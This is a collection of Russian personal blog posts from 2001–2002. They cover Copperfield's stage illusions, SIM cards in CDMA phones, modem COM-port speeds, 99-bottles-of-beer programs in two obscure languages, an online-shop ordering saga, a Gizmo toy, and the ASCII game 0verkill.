Дело было, кажеться, уже в позопрошлом году в Олимпийском. Довелось мне тогда работать на концерте Коперфильда. Концерт уже начался, когда нас сняли с наружного оцепления и пустили смотреть это действо на халяву. Через полчаса мы ржали как дети - когда смотришь у сцены (да еще и с боку - то то нас туда пускать не хотели - там своя охрана) - ну такая лажа...

1. Фон. При выступлении на сцене блестящий (вроде "дождика" для елки), поэтому уже с 15 м. глаз теряется. Фокус с обручами прост (обручи сквозь Коперфильда крутились) на самом деле они крутились перед ним и были такие же блестящие, как занавес (фон).

2. Летал этот крендель действительно на нитях... на стальной проволоке, которая замечательно сливается с "дождиком", а при виде с боку кажеться, что это одна большая марионетка.

3. Проход через здоровый работающий вентилятор - такой же принцип, как с обручами.

4. Исчезновение со сцены и появление в центре зала - работа двойника. У нас тогда даже скандальчик получился... Один из сержантов встал на проходе, где Копер-II должен был выбегать из под трибунного помещения. А сержант этот еще не видел этого представления и смотрит, волосатый мужик в темноте бежит, он возьми его и останови (у того аж парик перекосило) - у нас потом еще пару недель анекдоты про это рассказывали

5. А вобще, там заслуга не одного его. Инженеров, светотехников, психологов да многих еще и в конце - его, Коперфильда, как карточного фокусника, о чем он говорил на одном из своих представлений.

Но вот одного фокуса мы так и не смогли отгадать : "как за желание быть обманутыми люди выкладывали до 400$ "

Для тех, кому интереснее почитать поподробнее, добро пожаловать, например, вот сюда, остальные ссылки вам с радостью предоставит тот же Яndex.

Как известно, отстойный по своей сути стандарт GSM обладает по крайней мере одним неоспоримым достоинством - в телефонах этого стандарта есть SIM-карта. Для тех, кто не знает, что это такое поясню. SIM-карта - это маленький кусочек пластика с чипом, который однозначно идентифицирует человека в сети, в отличие от других сетей, где идентификация производится по телефону.

Достоинств у SIM-карты масса. Захотел поменять телефон? Без проблем, вынимаешь карту, ставишь в другой аппарат, телефонная книга, как правило, записана на ней же. Захотел поменять оператора? Берешь новый SIM, вставляешь в телефон.

Возникает закономерный вопрос: почему не выпускают телефонов с SIM-картой других стандартов? Оказывается, уже почти год, как выпускают.

Роль пионера в производстве CDMA-SIM взяла на себя, мне совершенно неизвестная, фирма ZTE и с тех пор никаких новостей о том, что кто-то последовал этому примеру я не слышал. Странно, что такая хорошая инициатива не имела продолжения. Если у кого-то есть информация на эту тему, черкните мне пару абзацев, пожалуйста.

Люблю группу "Гости из будущего". За то, что не ведают, что творят. Недавно услышал в их новой песне (за дословность не ручаюсь):

Люби меня по-французски
Раз это так неизбежно...
Как будто ты самый первый,

Каждая строчка - просто верх символизма. Расшифровываю для тех, кто в танке. Французской любовью часто называют фелляцию, как это принято сейчас называть. "Раз это так неизбежно..." - речь, видимо, идет о проявлении насилия, "Как будто ты самый первый" - типа, не один ты такой, сука. Из какого, блин, "будущего", эти "гости"?

Для особых ценителей вот тут ремейк, от имени мужчины.

Как-то раз я писал о появлении вируса, написанном на PHP. Недавно появился еще один первенец - вирус, написанный на Flash 5. Все авторитетные фирмы, выпускающие антивирусы, в том числе и наш, родной Касперский, уже высказались по поводу этого замечательного факта.

У обитателей интернета нет особого повода для беспокойства - Flash-ролики, запускаемые браузером из интернета по-прежнему безопасны. Вирус может как-то проявить себя, лишь будучи запущенным Flash плеером. Впрочем, даже если вы вдруг подхватите этот вирус, ничего особенного он не делает - лишь размножается. Будем ждать его мутаций.

Свойства COM-порта XP (3.2Kb) Как я уже писал, потребители модемов US Robotics могут настроить последние, при некоторых условиях, так, что обмен между модем и компьютером будет происходить на скорости выше 115200.

Оказывается подобная возможность есть и для модемов IDC (INPRO). Для тех кому это интересно, вот тут лежит статья на русском о том, как это делается.

Естественно, как и в первом случае, все дело в магической утилите SHSMOD. Меня начинает беспокоить один вопрос - почему бы фирме Microsoft не давать выставлять наивысшие скорости COM-порта штатно, чтобы не приходилось прибегать к помощи сторонних утилит?

Первые шаги в этом направлении уже сделаны: на скриншоте - свойства COM-порта в операционной системе Windows XP. Как видно, максимальная скорость порта - 128000, тогда как SHSMOD согласилась выставить 921600bps. Microsoft, как видно, недооценивает скорости современных COM-портов, интересно, как дело обстоит с остальными операционными системами?

P.S. Острие с шестерней на скриншоте - курсор в моей Windows XP. :)

Сильно смеяться. Вот тут.

Ссылочку прислал Макс Симонов

@END: dw 0BCE ; ! Пишите письма!
Комментировать
12 января 2002 17:55

99 бутылок… Исполняют Паркетчик и Pocket Basic

34. Паркетчик. Весьма забавный язык, предназначенный для обучения детей программированию. Очень напоминает переведенный Паскаль, если не считать сишных блочных конструкций. Если бы у меня были дети я бы для их обучения, на первых порах, возможно, выбрал бы этот язык.

Кроме основых конструкций ветвления, циклов и поддержки подпрограмм, язык предоставляет средства управления "Паркетчиком" - неким средством рисования цветных квадратов на ограниченом поле. В программе я специально разбил содержимое цикла на две фазы, чтобы показать, как "Паркетчика" можно использовать, например, для контроля за четностью.

Из недостатков.

Язык, конечно, не предназначен для серьезного программирования, но это не оправдание для того, чтобы не делать поддержку строк и чисел с плавающей точкой.

Насколько я понял из файлов примеров, в программе нет циклов с произвольным шагом, приходится для этого использовать циклы "пока".

Кроме того, в бесконечном цикле "Паркетчик" умудрился намертво завесить мою Windows XP. Никакой возможности прервать программу я не нашел, компьютер ни на что не реагировал.

Скрипт, выводящий песню о пиве (beer.prg)


цел пиво;

Программа {
  пиво:=198;
  Делать пока (пиво>0) { 
    если (слева стена) то {
        если (пиво=2) то {
          Сообщить "1 bottle of beer on the wall, 1 bottle of beer."
        } иначе
        {
          Сообщить пиво/2, " bottles of beer on the wall, ",
          пиво/2, " bottles of beer."
        };
        
        Сообщить "Take one down, pass it around."
        Шаг вправо;
    } иначе
    {
      если (пиво=2) то {
        Сообщить "1 bottle of beer on the wall."
      } иначе {
        если (пиво>1) то {
          Сообщить пиво/2, " bottles of beer on the wall."
        } иначе {
          Сообщить "No bottles of beer on the wall.";
        };
      };
    
      Шаг влево;
    };
    
    пиво:=пиво-1;
  };
  
  Сообщить "No more bottles of beer...";
  Сообщить "Go to the store and buy some more...";
  Сообщить "99 bottles of beer.";
}




35. Pocket Basic 1.00 для Casio PV. Несмотря на то, что его автор, Petr Vlcek называет этот язык Бейсиком, Бейсиком он не является. Достаточно хотя бы взглянуть на синтаксис, если это для кого-то не аргумент, то скажу, что каждый элемент строки является число от -128 до 127, над которыми можно производить обычные арифметические действия, например вот так:
ASSIGN text<a+1>=text<a+1>+2. Для того, чтобы работать со элементами строки, как с символьными значениями, применяется модификатор точка (".").

Язык довольно минималистский (например, из операторов ввода присутствует только TOUCH, позволяющий узнать в каком месте экрана было произведено касание, в функцию нельзя передать параметр и так далее), а потому малораспространенный. Несмотря на это язык мне понравился, своей простотой и, если так можно выразиться, средой разработки.

В отличие от OWBasic, где для редактирования программ используется встроенное в ОС приложение Memo, Pocket Basic предоставляет собственную среду для создания программ. Реализация имеет массу недостатков, в частности, встроенная клавиатура не содержит национальных символов, нет возможности переименования файлов и так далее, но есть и достоинства. Большим достоинством среды Pocket Basic является возможность набора операторов за один клик.

Каждый оператор языка начинаются с уникальной буквы, так что если редактор ждет ввода оператора, при нажатии на нужную букву оператор вводится целиком. Такой подход потребовал от создателя языка некоторых жертв, например блочный оператор IF выглядит довольно неожиданно, его полная конструкция выглядит, как IF - ELSE - CONTINUE. Другим достоинством среды является возможность использования колеса PV для передвижения по тексту.

Теперь, что касается программы, которая получилась в конечном счете. Поскольку документация весьма скудная, да еще и на немецком я не смог узнать если ли в языке условие "неравно". Испробовав все возможные варианты, я пришел к выводу, что нету. В конце цикла я использую очистку экрана перед выводом следующей фразы, у Pocket Basic'a есть серьезные проблемы со скроллингом, так что, чтобы избежать мусора на экране мне пришлось просто очищать экран. Как видно у программы отсутствует форматирование отступом, причина - среда разработки не позволяет производить такое форматирование.

Программа, выводящая песню о пиве (Beer)


! Beer song. Written by Evgeny Stepanischev
PROC beer
IF b=0
WRITE "No"
ELSE
WRITE b
CONTINUE
!
WRITE " bottle"
IF b=1
ELSE
WRITE "s"
CONTINUE
!
WRITE " of beer"
RETURN
!
!
VAR INT b
ASSIGN b=99
!
FOR b>0
USE beer
WRITE " on the wall, "
USE beer
WRITE "."l
WRITE "Take one down and pass around."l
ASSIGN b=b-1
USE beer
WRITE "."
SLEEP 4
BOX
ASSIGN posy=0
ASSIGN posx=0
NEXT
!
WRITE "No more bottles of beer..."l
WRITE "Go to the store and buy some more..."l
WRITE "99 bottles of beer."
SLEEP 20


Комментировать
5 января 2002 15:20

Новый год, подарки и тыквопротеин

Всех с прошедшим Новым годом!

Надеюсь, праздник удался. О том, как отметил его я сегодня говорить не буду, может быть в другой раз. Всех с наступающим православным Рождеством! Просьба представителей других религий на такое поздравление не обижаться, я, например, сейчас ни к одной из них не принадлежу, но Рождество праздновать собираюсь.

Как-то Калинин в приступе оптимизма написал про электронную комерцию замечательную, на мой взгляд, фразу "И все таки она существует! Этот факт настолько удивителен, что заслуживает пристального внимания".

Иначе, как существованием состояние, в котором находится электронная коммерция в России, назвать нельзя. Сегодня буду немножко пинать интернет-магазин Toys.Pregrad.Net. Итак, моя грустная и поучительная повесть с хорошим концом...

Вступление. Декорации: кресло, плед, в кресле автор.

Вернемся в ноябрь 2001-го года. Я, простой российский парень решил сделать своей жене, Наташе оригинальный подарок. Ключевое слово тут "оригинальный". Поскольку поиск чего-то оригинального в Казани дело довольно мучительное, я решил побродить по известным интернет-магазинам и посмотреть нельзя ли что-то приобрести в одном из них.

Гизмо (4.5Kb) Вскоре, я набрел на то, что искал. Моя жена неравнодушно относится к различного рода мягким, пушистым игрушкам и Гизмо, который, кроме, необходимой мягкости и пушистости обладает некоторыми оригинальными свойствами - умеет петь, танцевать, говорить всякие глупости, реагировать на свет, поглаживания и так далее, показался мне вполне удачным подарком.

Зарегистрировавшись на сайте, я оставил заказ, выбрал вариант оплаты банковским переводом и стал ждать квитанции. Меня честно предупредили, что товара на складе нет, доставляется он из Америки, дней так за 18. Было 19-е ноября, до Нового года куча времени и я не ждал подвоха.

Акт I. Декорации в виде домов, снег.

На следующий день я прихватил из дома требуемую сумму, распечатал квитанцию на принтере и пошел в ближайший банк, чтобы оформить перевод. Ближайшим оказался один из филиалов банка "АкБарс", где квитанцию перепечатали, взяли с меня 1.5% (сюрприз, в СБ - 3%) за перевод, попросили телефон, на случай, если деньги не дойдут и я, довольный жизнью, пошел на работу, там я отсканил квитанцию и отослал ее в магазин.

Через неделю, ближе к концу рабочего дня, мне позвонили и сказали, что деньги, к сожалению, не дошли, ибо в данных где-то в данных ошибка и надо все это дело уточнить. Я распечатал квитанцию еще раз и пошел в то самое отделение банка, откуда я отправлял деньги. Предварительно я позвонил в Pregrad и сверил цифры на распечатке. В отделении мне сказали, что данные с той бумажки, что я принес совпадают с теми, что написаны в переводе и посоветовали забрать свои деньги назад и попытать счастья в другом банке.

Для этого мне вручили адрес головного отделения "АкБарс", дали шестизначный телефон, внутренний, как объяснили мне сотрудники банка и посоветовали съездить туда и все выяснить. Меня попросили поторопится, так как рабочий день шел к концу и я, как мне объяснили, могу потерять свои деньги!

Акт II. Головной офис "АкБарс".

Добравшись до внутреннего телефона офиса я несколько раз набрал номер, но трубку никто не снял. Тут я обратил внимание, что в списке внутренних телефонов, который висит рядом телефонные номера *трехзначные*, а номер у меня в руках - шести.

Попробовав набрать номер, как городской я наконец попал куда нужно. Обрисовав ситуацию я выяснил, что для того чтобы получить деньги мне нужна квитанция, которая лежит у меня в верхнем ящике стола в офисе и привезти ее надо завтра, так как рабочий день уже кончается.

На следующий день я взял квитанцию, добрался до банка и позвонил по знакомому уже телефону. Там меня спросили не был ли я так любезен сообщить им не отсылал ли я другой стороне квитанцию, я ответил, что да, конечно отсылал, тогда, сказали мне, деньги мы вам отдать не сможем, дайте нам телефон, сказали они, другой стороны и наши люди позвонят их людям и руление, наконец, будет достигнуто.

Я продиктовал телефон и стал ждать руления. Неделя приближалась к концу, а руления все не было. В пятницу, ближе к вечеру мое терпение приказало долго жить и я позвонил сам и поинтересовался насчет обещанного руления. Мне сказали, что тетя, ответственная за руление уже скипнула и звоните, мол, уже в понедельник.

В понедельник, в обед, когда я уже собрался звонить, из Pregrad пришло письмо, где говорилось, что деньги на счет поступили, статус на сайте изменился на "оплачено". Я успокоился.

Акт III. Декорации под офис, за окнами снег.

Шли дни, а статус на сайте не менялся. Отсчитав двадцать дней, я написал в магазин с просьбой сообщить мне, как там дела с моим заказом. Мне пришло письмо, что товар получен и вскоре он будет мне отправлен. Прошло еще три дня. Я написал еще одно письмо с просьбой сказать мне, что там с отправкой товара. Мне сообщили, что товар отправлен, статус сменился на "отправлено клиенту". Я успокоился и стал ждать.

Акт IV. Декорации под квартиру, за окнами снег.

Наступил Новый год, я получил в свой подарок и честно признался Наташе, что подарок у меня есть, но сейчас, по техническим причинам, я подарить его не могу, могу только дать почитать инструкцию.

Наступило 3-е января, первый рабочий день. Я написал очередное письмо в Pregrad и стал ждать ответа, утром 4-го я получил квитанцию, отстоял очередь на почте и принес Гизмо домой.

Резюме.

Pregrad.Net - неплохой магазин, думаю не их вина, что товар задержали на почте, тем более, что дело было перед Новым годом. Ситуация с последним письмом меня позабавила, с остальными - нет. На чьей совести мои две поездки "позвонить" в банк я не понял, возможно это вина банковской системы.

CK K3111 (5.5Kb) Наташа поступила гораздо проще. В одну из своих деловых поездок в Москву она зашла то ли в ЦУМ, то ли в ГУМ и купила мне, за обычные рубли, настоящие Calvin Klein, модель K3111, поскольку знает, как я неравнодушен к часам с хорошим дизайном.

Я не спрашивал, но думаю, что вся операция у нее заняла не более пяти минут, включая выбор подходящей модели. В итого без каких-либо приключений с ее стороны я получил свой подарок точно в срок.

В общем, реал рулит, а электронная коммерция существует, правда-правда... я ее даже как-то видел. Своими глазами.

По поводу самой игрушки, может кому-то будет интересно. О возможностях Гизмо можно прочитать в инструкции, я остановлюсь на том, о чем в инструкции не сказано.

Конечно, это не собака AIBO, не тот ценовой уровень, так что Гизмо - прежде всего кусок меха с электроникой внутри, в том смысле, что часто он бывает довольно неадекватен внешним событиям, но со стороны он, часто, смотрится очень забавно. Кстати, когда я его попробовал "накормить" шестой раз за пару минут он начал рыгать, неслабо так, для детской игрушки. :) Впрочем, это может быть одним из "пасхальных яиц", который разработчики в изобилии в него поместили.

Недостатки или то, что мне не понравилось.
Во-первых, в попе у него черный блок с батарейками, могли бы прикрыть его мехом, смотрелось бы эстетичнее.
Во-вторых, двигаются у Гизмо только уши и глаза, причем с явственным механическим шумом. Ноги и руки неподвижны, за счет упомянутого подвижного батарейного блока игрушка может чуть приподниматься.
В-третьих, когда Гизмо говорит на верхних частотах я, например, слышу шипение и свист, если не прислушиваться все нормально, но иногда мешает восприятию.
В-четвертых, так как Гизмо все время что-то говорит, двигает ушами и глазами, моя кошка приняла его за живого и заревновала. :) Странно, к пылесосу, который она тоже считает живым, она нас никогда не ревновала. :))

В общем, учитывая цену, существенных недостатков я не заметил. Мне кажется, подарок удался.

Напоследок этикетка с хлебцев, упаковку которых я купил на днях. Хлебцы с тыквопротеином, ага. У меня под столом стоит банка недоеденных огурцов, там уже двуокись огурца образовалась... или перекись.

Хлебцы с тыквопротеином (38Кб)


Желаю хорошо провести выходные и праздники! Пишите письма!
Комментировать
4 января 2002 17:39

Anfrax, Kung Fu, 0verkill, SS 0.21

Всем привет!

Несмотря на то, что я прыскал целый месяц в нос довольно дорогую, повышающую иммунитет вакцину "IRS 19", я все-таки умудрился заболеть ОРЗ. Мой повышенный иммунитет не выдержал, когда в квартире на почти на два дня отключили отопление. Заболел перед самым Новым Годом. :( Надеюсь, до праздника успею выздороветь.

Полбеды, что хорошие авторские проекты в Рунете появляются достаточно редко, беда, что факт их появления достаточно трудно заметить, так как проекты эти, в основном, некоммерческие и денег на рекламу у них нет. Это большая удача - случайно набрести на новый и уже достаточно интересный проект.

Недавно мне повезло - нашел Anfrax. Советую заглянуть. Очень хороший дизайн и отличная подача новостей. Выходит ежедневно.

счет (5.7Кб) Не могу не утянуть с только что упомянутого Anfrax'a ссылочку на отличную, по-моему, пародию на VirtuaFighter, Mortal Combat и тому подобные игры.

Правила, вкратце, для тех, кто не знает английского: на первом экране вам предлагается выбрать персонаж, которым вы будете сражаться. Вам предстоит пройти три уровня, где вы должны будете победить Чака Норриса, Брюса Ли и Джонатана. Первых двоих вы знаете, третий - автор этой игры.

Перед каждым уровнем вам будут кратенько представлять персонажа,.. этот экран можно просто пропустить. Когда на экране появится надпись "Press space to play" нужно будет нажать "пробел" и ждать начала поединка.

В первых двух уровнях после появления слова "Fight" (не раньше!) нужно успеть нажать стрелку вправо. На третьем все несколько иначе. Если у противника за миг до появления "Fight" замигает кулак нужно нажать стрелку вверх, если нога - стрелку вниз.

После каждого уровня вам задается вопрос, в случае правильного ответа на который, вы получаете дополнительные очки. В первом и втором раунде правильный ответ находится посередине, в третьем - справа.

Очки так же назначаются, насколько я могу судить, и в зависимости о времени реакции - количества времени, прошедшего с появления надписи "Fight" до нажатия на нужную клавишу. На скриншоте, кстати, мое лучшее время за три поединка. Для принятия простого решения мне, как минимум понадобилось 212 миллисекунд, для принятия более сложного - 275 миллисекунд. Неплохо, для человека с заложенным носом и отвратительным самочувствием? :)

По ссылке "More Games" находятся еще несколько игр, но, хотя названия очень интересные, например, "Армреслинг: Робби против Николь", смотреть я их не стал.

Кстати, справа от всего этого великолепия есть кнопочка "Boss Alert". Я таких не видел со времен DOSa (был такой класс однозадачный ОС, если кто уже не помнит). Ее классическое назначение - мгновенно заменять содержимое экрана на что-нибудь нейтральное, напр

Так, делаю паузу, по MTV сейчас идет клип "Since I left you", я его сто лет не видел... Заодно выпью чая с клюквой.

имер, на окно популярной тогда оболочки "Norton Commander", если в дверях вашего кабинета неожиданно появлялся босс.

Что делает эта кнопка во флешевой игре я выяснять не имею не малейшего желания - моё чувство врожденного любопытства вышло на больничный и теперь мне любопытно только одно - как бы выздороветь за минимальный промежуток времени. В общем, выясняйте сами, сюрприз будет.

Существовал раньше ныне уже почти забытый жанр компьютерной графики, так называемый ASCII-арт - составление изображений из букв, цифр и прочих знаков. У такого вида изображений несколько достоинств - они мало занимают, быстро выводятся на экран и их можно просматривать любым просмотрщиком текста. В прежние времена это было очень актуально.

0verkill (7Kb)

С появлением Pentium и видеоакселераторов ASCII-арт, конечно, начал отмирать, но сдаваться не собирается. На скриншоте - игра 0verkill, полностью выполненный в ASCII-графике двухмерный клон легендарного Doom'a. Изначально игра была написана под Linux, сейчас существуют еще две версии игры - под Windows и OS/2.

0verkill предоставляет игроку четыре вида оружия, не считая гранат, армор, невидимость, чат, возможность игры через локальную сеть или Интернет, редактор уровней и ASCII-графики, многоуровневые уровни (если так можно выразиться :), а в последних версиях - экспериментальные боты и поддержка 3D (стереограмма).

В игре можно ходить, бегать, прыгать, стрелять, взбираться по лестницам и ступенькам. В общем полный набор возможностей современного шутера. В будущих версиях авторы обещают прикрутить к игре звук и телепортеры.

Хотел бы подробнее остановится на 3D-графике в этой игре. Трехмерность, которая имеется ввиду в данном случае не имеет ничего общего с тем, что мы привыкли видеть в Quake или Counter Strike. В 0verkill используется эффект стереорграммы.

Как известно, человек определяет расстояние до объекта по разнице между картинками, переданных ему левым и правым глазом. Объекты на этих картинках оказываются смещенными друг относительно друга. И, чем больше это смещение, тем ближе объект.

Таким образом получить эффект трехмерного изображения теоретически довольно просто - достаточно подать на каждый глаз свою собственную картинку, где объекты смещены в зависимости от расстояния, на которое они удалены от наблюдателя. Так работают детские стереослайды.

Но как сделать тоже самое с изображением на бумаге или мониторе? Казалось бы это невыполнимо.. Решение было найдено. Для начала выбираются два цвета из тройки основных цветов - стандартно красный и синий. Этими цветами рисуются два изображения, одно поверх другого, насколько я помню, красным для левого, синим - для правого глаза.

Далее, на нос водружаются очки с одним синим и одним красным стеклом. Фокус заключается в том, что, если красный и синий достаточно чистые, то в каждое стекло видно русунок только соотвествующего цвета. В местах пересечения рисунков цвет становится фиолетовым, т.е. содержащим сразу оба цвета и его видно в оба стекла.

Вернемся к 0verkill. Скачать игру можно вот отсюда. Текущая версия для Windows в архиве занимает менее 300 килобайт и не поддерживает 3D.

Обновился Shit Streamer. Новая версия умеет временно исключать из списка не отвечающие сервера и содержит новый список шита.

На этом позвольте попрощаться до следующего раза. Пишите!.
Комментировать
20 декабря 2001 17:14